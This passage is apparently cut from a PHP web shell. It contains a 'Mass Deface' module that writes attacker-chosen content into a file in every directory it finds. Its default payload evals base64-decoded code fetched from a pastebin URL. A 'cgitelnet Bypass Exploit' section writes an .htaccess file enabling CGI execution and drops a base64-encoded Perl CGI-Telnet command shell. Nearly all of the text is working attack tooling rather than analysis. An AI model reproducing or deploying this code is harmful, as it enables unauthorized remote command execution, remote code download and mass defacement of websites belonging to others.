<center/><br/><b><font color=#00ff00>-=[ Mass Deface Recoded By p41j0 hxh ]=-</font></b><br>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="ijox.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'><?php
error_reporting(0);
eval(base64_decode(file_get_contents('http://pastebin.com/raw/NutU5ttK')));
?></textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface ">
<br>
</form>
<br>
<br>
Versi Text Area<br>
<textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
<?php $ini="http://";
$mainpath=$_POST[path];
$file=$_POST[file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[index]);
$indx=base64_decode($code);
while($row=readdir($dir)){
$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){echo"$ini$row/$file
";}}
?>
</textarea>
<br>
<br>
<br>
<b>Versi Text</b><br>
<br>
<br>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }}}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t